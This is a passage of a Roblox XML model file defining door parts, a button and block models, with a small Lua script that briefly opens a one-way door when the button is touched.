					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Door1</string>
					<float name="Reflectance">0.600000024</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>9.60000038</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2245">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.20000029</Y>
						<Z>45.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Door2</string>
					<float name="Reflectance">0.600000024</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>9.60000038</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2246">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-39.5</X>
						<Y>5.20000029</Y>
						<Z>45.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">1</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>3</X>
						<Y>9.60000038</Y>
						<Z>9</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX2247">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">print(&quot;One Way Door Script Loaded&quot;) 

Button = script.Parent 
Door1 = script.Parent.Parent.Door1 
Door2 = script.Parent.Parent.Door2 
Door3 = script.Parent.Parent.Door3 
Door4 = script.Parent.Parent.Door4 
Door5 = script.Parent.Parent.Door5 
Door6 = script.Parent.Parent.Door6 
Door7 = script.Parent.Parent.Door7 
Door8 = script.Parent.Parent.Door8 
Door9 = script.Parent.Parent.Door9 


function onTouched(hit) 

print(&quot;Door Hit&quot;) 
Door2.Transparency = 1 
Door2.CanCollide = false 
wait(.001) 
Door1.CanCollide = false
Door1.Transparency = 1
Door3.CanCollide = false
Door3.Transparency = 1
wait(.001) 
Door4.CanCollide = false
Door4.Transparency = 1
Door5.CanCollide = false
Door5.Transparency = 1
wait(.001) 
Door6.CanCollide = false
Door6.Transparency = 1
Door7.CanCollide = false
Door7.Transparency = 1
wait(.001) 
Door8.CanCollide = false
Door8.Transparency = 1
Door9.CanCollide = false
Door9.Transparency = 1
wait(2.2)
Door9.CanCollide = true
Door9.Transparency = 0
Door8.CanCollide = true
Door8.Transparency = 0
wait(.001)
Door7.CanCollide = true
Door7.Transparency = 0
Door6.CanCollide = true
Door6.Transparency = 0
wait(.001)
Door5.CanCollide = true
Door5.Transparency = 0
Door4.CanCollide = true
Door4.Transparency = 0
wait(.001)
Door3.CanCollide = true
Door3.Transparency = 0
Door1.CanCollide = true
Door1.Transparency = 0
wait(.001)
Door2.CanCollide = true
Door2.Transparency = 0
end 

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX2248">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.20000029</Y>
						<Z>46.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Door3</string>
					<float name="Reflectance">0.600000024</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>9.60000038</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2249">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.20000029</Y>
						<Z>47.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Door4</string>
					<float name="Reflectance">0.600000024</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>9.60000038</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2250">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.20000029</Y>
						<Z>48.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Door6</string>
					<float name="Reflectance">0.600000024</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>9.60000038</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2251">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">23</int>
					<CoordinateFrame name="CFrame">
						<X>-40.5</X>
						<Y>10.6000004</Y>
						<Z>45.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0.100000001</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1.20000005</Y>
						<Z>3</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2252">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>10.6000004</Y>
						<Z>45.5</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>9</X>
						<Y>1.20000005</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2253">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">23</int>
					<CoordinateFrame name="CFrame">
						<X>-42.5</X>
						<Y>10.6000004</Y>
						<Z>45.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0.100000001</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1.20000005</Y>
						<Z>3</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2254">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.20000029</Y>
						<Z>43.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Door5</string>
					<float name="Reflectance">0.600000024</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>9.60000038</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2255">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.20000029</Y>
						<Z>42.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Door7</string>
					<float name="Reflectance">0.600000024</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>9.60000038</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2256">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.20000029</Y>
						<Z>41.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Door9</string>
					<float name="Reflectance">0.600000024</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>9.60000038</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX2257">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-41.5</X>
						<Y>5.80000019</Y>
						<Z>40.5</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>10.8000002</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX0">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX1">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">eletricity collecter1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX2">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>0.899582863</Y>
							<Z>34.5</Z>
							<R00>-0</R00>
							<R01>1</R01>
							<R02>0</R02>
							<R10>-1</R10>
							<R11>0</R11>
							<R12>0</R12>
							<R20>-0</R20>
							<R21>0</R21>
